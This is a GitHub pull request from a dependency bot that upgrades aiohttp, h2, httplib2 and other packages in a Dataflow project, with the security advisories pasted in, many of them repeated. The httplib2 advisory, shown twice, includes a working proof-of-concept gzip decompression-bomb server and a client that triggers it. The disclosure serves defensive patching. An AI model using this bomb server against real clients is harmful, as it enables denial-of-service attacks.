Skip to content

chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY] - #595

Open
renovate-bot wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
renovate-bot:renovate/dataflow-gcs-to-alloydb-vulnerabilityalerts
Open

chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY]#595
renovate-bot wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
renovate-bot:renovate/dataflow-gcs-to-alloydb-vulnerabilityalerts

Conversation

@renovate-bot

@renovate-bot renovate-bot commented Jul 7, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
aiohttp 3.14.13.14.3 age confidence
h2 4.3.04.4.1 age confidence
httplib2 0.31.20.32.0 age confidence
pyasn1 (changelog) 0.6.30.6.4 age confidence
sqlparse (changelog) 0.5.50.6.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


AIOHTTP is Vulnerable to Deserialization of Untrusted Data

CVE-2026-34993 / GHSA-jg22-mg44-37j8

More information

Details

Summary

Using CookieJar.load() with untrusted input may allow arbitrary code execution.

Impact

Most applications using this function will be doing so with the user's own data, so this is unlikely to affect many applications.

Workaround

If an application does allow attacker controlled files to be loaded, a workaround on older releases would be to sanitise the files before loading.


Patch: aio-libs/aiohttp@dcf40f3

Severity

  • CVSS Score: 6.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


AIOHTTP is vulnerable to cross-origin redirect with per-request cookies

CVE-2026-47265 / GHSA-hg6j-4rv6-33pg

More information

Details

Summary

Cookies set with the cookies parameter on requests are sent after following a cross-origin redirect.

Impact

If a developer uses the cookies parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect.

Workaround

If unable to upgrade, using a Cookie header in the headers parameter is not vulnerable.


Patch: aio-libs/aiohttp@f54c408

Severity

  • CVSS Score: 6.6 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


aiohttp: CRLF injection in multipart headers

CVE-2026-50269 / GHSA-m6qw-4cw2-hm4m

More information

Details

Summary

Attacker-controlled input included into multipart/payload headers can be used to modify a request to inject additional headers or similar.

Impact

In the unlikely situation that an application is passing user-controlled strings into MultipartWriter.append(headers=...) or Payload.headers, then an attacker may be able to modify the request to inject headers or change the contents of the request.

Workaround

Sanitise such user input.


Patch: aio-libs/aiohttp@bf88077

Severity

  • CVSS Score: 2.7 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


aiohttp: Host-Only Cookies Become Domain Cookies After CookieJar Persistence

CVE-2026-54279 / GHSA-2fqr-mr3j-6wp8

More information

Details

Summary

Host-only cookies that are saved with CookieJar.save() and then restored later with CookieJar.load() lose their host-only status.

Impact

Host-only cookies that have been loaded from disk may get sent to subdomains that previously should have been disallowed.


Patch: aio-libs/aiohttp@a329a7a

Severity

  • CVSS Score: 1.3 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


aiohttp: DigestAuthMiddleware Applies Credentials to Cross-Origin Redirect Challenges

CVE-2026-54276 / GHSA-hpj7-wq8m-9hgp

More information

Details

Summary

DigestAuthMiddleware can send an authentication response after following a cross-origin redirect.

Impact

If the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.

This likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse.

Workaround

Disable follow_redirects if this is a concern.


Patch: aio-libs/aiohttp@38d1606

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


aiohttp: C HTTP Parser Bypasses max_line_size for Fragmented Lines

CVE-2026-54277 / GHSA-63hw-fmq6-xxg2

More information

Details

Summary

It is possible to bypass the max_line_size check in parts of an HTTP request in the C parser.

Impact

If using the optimised C parser (the default in pre-built wheels), then an attacker may be able to send oversized lines through the HTTP parser and use an excessive amount of memory, potentially leading to DoS.


Patch: aio-libs/aiohttp@5ab61bb

Severity

  • CVSS Score: 6.6 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


aiohttp: Unread Compressed Request Bodies Bypass client_max_size During Cleanup

CVE-2026-54278 / GHSA-g3cq-j2xw-wf74

More information

Details

Summary

During cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.

Impact

An attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).

Workaround

Disable compression if unable to upgrade.


Patch: aio-libs/aiohttp@4f7480e

Severity

  • CVSS Score: 6.6 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


aiohttp: HTTP/1 Pipelined Requests Queue Without Limit

CVE-2026-54273 / GHSA-4fvr-rgm6-gqmc

More information

Details

Summary

No limit was present on the number of pipelined requests that could be queued.

Impact

An attacker may be able to use pipelined requests to use excessive amounts of memory, potentially leading to DoS.


Patch: aio-libs/aiohttp@dfdfa9d

Severity

  • CVSS Score: 6.6 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


aiohttp: Payload Response Resources Are Not Closed After Mid-Body Disconnect

CVE-2026-54280 / GHSA-9x8q-7h8h-wcw9

More information

Details

Summary

Payload resources are not closed correctly when a client disconnects in the middle of a write.

Impact

If a payload is using an open file or similar limited resource, then an attacker may be able to cause resource starvation temporarily until garbage collection or similar closes the file.


Patch: aio-libs/aiohttp@a762eda

Severity

  • CVSS Score: 1.7 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


aiohttp: TLS Server Hostname Override Is Ignored When Reusing HTTPS Connections

CVE-2026-54275 / GHSA-4m7w-qmgq-4wj5

More information

Details

Summary

The server_hostname TLS SNI check can be bypassed when an existing connection is reused.

Impact

If an application makes multiple requests to the same domain, but with different per-request server_hostname parameters, then the later calls may succeed by reusing the existing connection when they should have been rejected due to the TLS SNI check.

Workaround

Disable keep_alive if you need to change the server_hostname check between requests.


Patch: aio-libs/aiohttp@0ca2b6c

Severity

  • CVSS Score: 2.7 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


aiohttp: Incomplete websocket frame payloads bypass memory limits

CVE-2026-54274 / GHSA-xcgm-r5h9-7989

More information

Details

Summary

If an attacker sends large incomplete websocket frame payloads, it may be possible to bypass the usual size limits on memory use.

Impact

If a web application has WebSocket endpoints, it may be possible for an attacker to execute a DoS attack through excessive memory use.


Patch: aio-libs/aiohttp@14b6ee8

Severity

  • CVSS Score: 6.6 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate

CVE-2026-59881 / GHSA-mq44-7p77-q5h7

More information

Details

Summary

The client accepts and decompresses frames with the RSV1 bit set even when the permessage-deflate extension was not negotiated.

Impact

A client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.


Patch: aio-libs/aiohttp@47fb6ae

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


AIOHTTP: HTTP request smuggling via WebSocket upgrade

CVE-2026-69243 / GHSA-mfx4-hv73-q22v

More information

Details

Summary

The HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.

Impact

If using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.


Patch: aio-libs/aiohttp@6ae358f

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)

CVE-2026-69244 / GHSA-cq5v-8q36-5273

More information

Details

Summary

An out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.

Impact

An attacker controlled server, or possibly an accidental response could trigger a DoS in the client.

Workaround

If unable to upgrade, the Python parser is unaffected and can be used with AIOHTTP_NO_EXTENSIONS=1.


Patch: aio-libs/aiohttp@49f65d5

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


AIOHTTP: HTTP request smuggling via WebSocket upgrade

CVE-2026-69243 / GHSA-mfx4-hv73-q22v / PYSEC-2026-3546

More information

Details

Summary

The HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.

Impact

If using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.


Patch: aio-libs/aiohttp@6ae358f

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate

CVE-2026-59881 / GHSA-mq44-7p77-q5h7 / PYSEC-2026-3547

More information

Details

Summary

The client accepts and decompresses frames with the RSV1 bit set even when the permessage-deflate extension was not negotiated.

Impact

A client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.


Patch: aio-libs/aiohttp@47fb6ae

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


AIOHTTP: HTTP request smuggling via WebSocket upgrade

CVE-2026-69243 / GHSA-mfx4-hv73-q22v / PYSEC-2026-3546

More information

Details

Summary

The HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.

Impact

If using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.


Patch: aio-libs/aiohttp@6ae358f

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate

CVE-2026-59881 / GHSA-mq44-7p77-q5h7 / PYSEC-2026-3547

More information

Details

Summary

The client accepts and decompresses frames with the RSV1 bit set even when the permessage-deflate extension was not negotiated.

Impact

A client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.


Patch: aio-libs/aiohttp@47fb6ae

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)

CVE-2026-69244 / GHSA-cq5v-8q36-5273 / PYSEC-2026-3545

More information

Details

Summary

An out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.

Impact

An attacker controlled server, or possibly an accidental response could trigger a DoS in the client.

Workaround

If unable to upgrade, the Python parser is unaffected and can be used with AIOHTTP_NO_EXTENSIONS=1.


Patch: aio-libs/aiohttp@49f65d5

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)

CVE-2026-69244 / GHSA-cq5v-8q36-5273 / PYSEC-2026-3545

More information

Details

Summary

An out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.

Impact

An attacker controlled server, or possibly an accidental response could trigger a DoS in the client.

Workaround

If unable to upgrade, the Python parser is unaffected and can be used with AIOHTTP_NO_EXTENSIONS=1.


Patch: aio-libs/aiohttp@49f65d5

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


h2: Duplicate Host header could facilitate request smuggling

CVE-2026-71554 / GHSA-6hr6-w5qg-qmwg

More information

Details

Impact

h2 <=4.4.0 accepts request header blocks containing more than one Host header, and forwards every Host header to the consuming application. Where the consumer downgrades HTTP/2 to HTTP/1.1, the resulting request carries two Host header lines, which is a request smuggling primitive (CWE-444).

Patches

Patched and fixed in v4.4.1

Workarounds

Users of the h2 library are advised to check and follow HTTP semantics best practices in their application code. h2 provides best effort sanity checks, but ultimately the calling code is responsible to ensure proper and safe usage of HTTP/2 as provided by h2, hyperframe, and hpack.

References

Similar to the previously disclosed and fixed duplicate content-length issue.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


h2: Duplicate Host header could facilitate request smuggling

CVE-2026-71554 / GHSA-6hr6-w5qg-qmwg / PYSEC-2026-3628

More information

Details

Impact

h2 <=4.4.0 accepts request header blocks containing more than one Host header, and forwards every Host header to the consuming application. Where the consumer downgrades HTTP/2 to HTTP/1.1, the resulting request carries two Host header lines, which is a request smuggling primitive (CWE-444).

Patches

Patched and fixed in v4.4.1

Workarounds

Users of the h2 library are advised to check and follow HTTP semantics best practices in their application code. h2 provides best effort sanity checks, but ultimately the calling code is responsible to ensure proper and safe usage of HTTP/2 as provided by h2, hyperframe, and hpack.

References

Similar to the previously disclosed and fixed duplicate content-length issue.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


h2: Duplicate Host header could facilitate request smuggling

CVE-2026-71554 / GHSA-6hr6-w5qg-qmwg / PYSEC-2026-3628

More information

Details

Impact

h2 <=4.4.0 accepts request header blocks containing more than one Host header, and forwards every Host header to the consuming application. Where the consumer downgrades HTTP/2 to HTTP/1.1, the resulting request carries two Host header lines, which is a request smuggling primitive (CWE-444).

Patches

Patched and fixed in v4.4.1

Workarounds

Users of the h2 library are advised to check and follow HTTP semantics best practices in their application code. h2 provides best effort sanity checks, but ultimately the calling code is responsible to ensure proper and safe usage of HTTP/2 as provided by h2, hyperframe, and hpack.

References

Similar to the previously disclosed and fixed duplicate content-length issue.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

CVE-2026-59939 / GHSA-j5g9-f88f-gfj3

More information

Details

Summary

The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/__init__.py - _decompressContent() function

The decompression path has two unbounded operations:

  1. gzip decompression (line 394):

    content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()

    The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.

  2. deflate decompression (line 397):

    content = zlib.decompress(content, zlib.MAX_WBITS)

    Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.

  3. Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:

  • Content-Encoding: gzip header
  • A small compressed body that decompresses to an arbitrarily large size
Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver

UNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB

def make_payload():
    """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
        chunk = b"A" * (1024 * 1024)  # 1 MB of repeating bytes
        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
            gz.write(chunk)
    return buf.getvalue()

PAYLOAD = make_payload()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Encoding", "gzip")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
    print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
          f"{UNCOMPRESSED_SIZE} bytes decompressed")
    httpd.serve_forever()

Step 2 - Run the httplib2 client (in a separate terminal):

#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2

##### Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

http = httplib2.Http(timeout=5)
try:
    response, content = http.request("http://127.0.0.1:8000/")
    print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
    print(f"MemoryError confirmed: decompression bomb exhausted "
          f"{LIMIT_MB} MB memory limit")
    # This is the expected outcome - the 150 KB compressed payload
    # expanded to 150 MB during decompression, exceeding the limit.

Expected output (client):

MemoryError confirmed: decompression bomb exhausted 180 MB memory limit

Reproduction metrics:

  • Compressed payload size: 152,908 bytes (~150 KB)
  • Decompressed size: 157,286,400 bytes (150 MB)
  • Amplification ratio: ~1,029x
  • Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()
Impact

Severity: High

Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.

Parameter Value
Compressed payload ~150 KB
Decompressed size 150 MB (configurable by attacker)
Amplification ratio ~1,029x
Authentication required None
User interaction required None
Prerequisites Client makes any HTTP request to attacker-controlled server

Real-world scenarios:

  • Web scrapers/crawlers that fetch pages from untrusted URLs
  • API clients connecting to third-party services
  • Webhook handlers that follow redirects to attacker-controlled endpoints
  • CI/CD pipelines that download dependencies or artifacts over HTTP
  • Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload

Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.

Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.


Credit

Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.
Liyi Zhou: https://lzhou1110.github.io/
Ziyue Wang: https://zyy0530.github.io/
Strick: https://str1ckl4nd.github.io/
Maurice: https://maurice.busystar.org/
Chenchen Yu: https://7thparkk.github.io/

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

CVE-2026-59939 / GHSA-j5g9-f88f-gfj3 / PYSEC-2026-3444

More information

Details

Summary

The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/__init__.py - _decompressContent() function

The decompression path has two unbounded operations:

  1. gzip decompression (line 394):

    content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()

    The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.

  2. deflate decompression (line 397):

    content = zlib.decompress(content, zlib.MAX_WBITS)

    Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.

  3. Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:

  • Content-Encoding: gzip header
  • A small compressed body that decompresses to an arbitrarily large size
Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver

UNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB

def make_payload():
    """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
        chunk = b"A" * (1024 * 1024)  # 1 MB of repeating bytes
        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
            gz.write(chunk)
    return buf.getvalue()

PAYLOAD = make_payload()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Encoding", "gzip")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
    print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
          f"{UNCOMPRESSED_SIZE} bytes decompressed")
    httpd.serve_forever()

Step 2 - Run the httplib2 client (in a separate terminal):

#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2

##### Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

http = httplib2.Http(timeout=5)
try:
    response, content = http.request("http://127.0.0.1:8000/")
    print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
    print(f"MemoryError confirmed: decompression bomb exhausted "
          f"{LIMIT_MB} MB memory limit")
    # This is the expected outcome - the 150 KB compressed payload
    # expanded to 150 MB during decompression, exceeding the limit.

Expected output (client):

MemoryError confirmed: decompression bomb exhausted 180 MB memory limit

Reproduction metrics:

  • Compressed payload size: 152,908 bytes (~150 KB)
  • Decompressed size: 157,286,400 bytes (150 MB)
  • Amplification ratio: ~1,029x
  • Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()
Impact

Severity: High

Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.

Parameter Value
Compressed payload ~150 KB
Decompressed size 150 MB (configurable by attacker)
Amplification ratio ~1,029x
Authentication required None
User interaction required None
Prerequisites Client makes any HTTP request to attacker-controlled server

Real-world scenarios:

  • Web scrapers/crawlers that fetch pages from untrusted URLs
  • API clients connecting to third-party services
  • Webhook handlers that follow redirects to attacker-controlled endpoints
  • CI/CD pipelines that download dependencies or artifacts over HTTP
  • Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload

Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.

Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.


Credit

Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.
Liyi Zhou: https://lzhou1110.github.io/
Ziyue Wang: https://zyy0530.github.io/
Strick: https://str1ckl4nd.github.io/
Maurice: https://maurice.busystar.org/
Chenchen Yu: https://7thparkk.github.io/

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

Note

PR body was truncated to here.

@renovate-bot
renovate-bot requested a review from zunhoyi as a code owner July 7, 2026 14:35
@forking-renovate forking-renovate Bot added dependencies Pull requests that update a dependency file p0 SECURITY labels Jul 7, 2026
@renovate-bot
renovate-bot force-pushed the renovate/dataflow-gcs-to-alloydb-vulnerabilityalerts branch from 068a207 to 8f4eb22 Compare July 7, 2026 14:40
@renovate-bot
renovate-bot force-pushed the renovate/dataflow-gcs-to-alloydb-vulnerabilityalerts branch 5 times, most recently from 1401c53 to a87ef12 Compare July 13, 2026 13:07
@renovate-bot
renovate-bot force-pushed the renovate/dataflow-gcs-to-alloydb-vulnerabilityalerts branch from a87ef12 to 48f2d3d Compare July 13, 2026 15:18
@renovate-bot renovate-bot changed the title chore(deps): [dataflow-gcs-to-alloydb] Update dependency pillow to v12.3.0 [SECURITY] chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] Jul 14, 2026
@forking-renovate

forking-renovate Bot commented Jul 14, 2026

Copy link
Copy Markdown

⚠️ Artifact update problem

Renovate failed to update artifacts related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: projects/dataflow-gcs-to-alloydb/requirements.txt
Command failed: uv pip compile --generate-hashes --python-version=3.13 --prerelease=allow --output-file=requirements.txt requirements.in --upgrade-package=aiohttp==3.14.3 --upgrade-package=h2==4.4.1 --upgrade-package=httplib2==0.32.0 --upgrade-package=pyasn1==0.6.4 --upgrade-package=sqlparse==0.6.0
  × No solution found when resolving dependencies:
  ╰─▶ Because apache-beam==2.74.0 depends on httplib2>=0.8,<0.32.0 and
      httplib2==0.32.0, we can conclude that apache-beam==2.74.0 cannot be
      used.
      And because you require apache-beam[gcp]==2.74.0, we can conclude that
      your requirements are unsatisfiable.

File name: projects/dataflow-gcs-to-alloydb/requirements-dev.txt
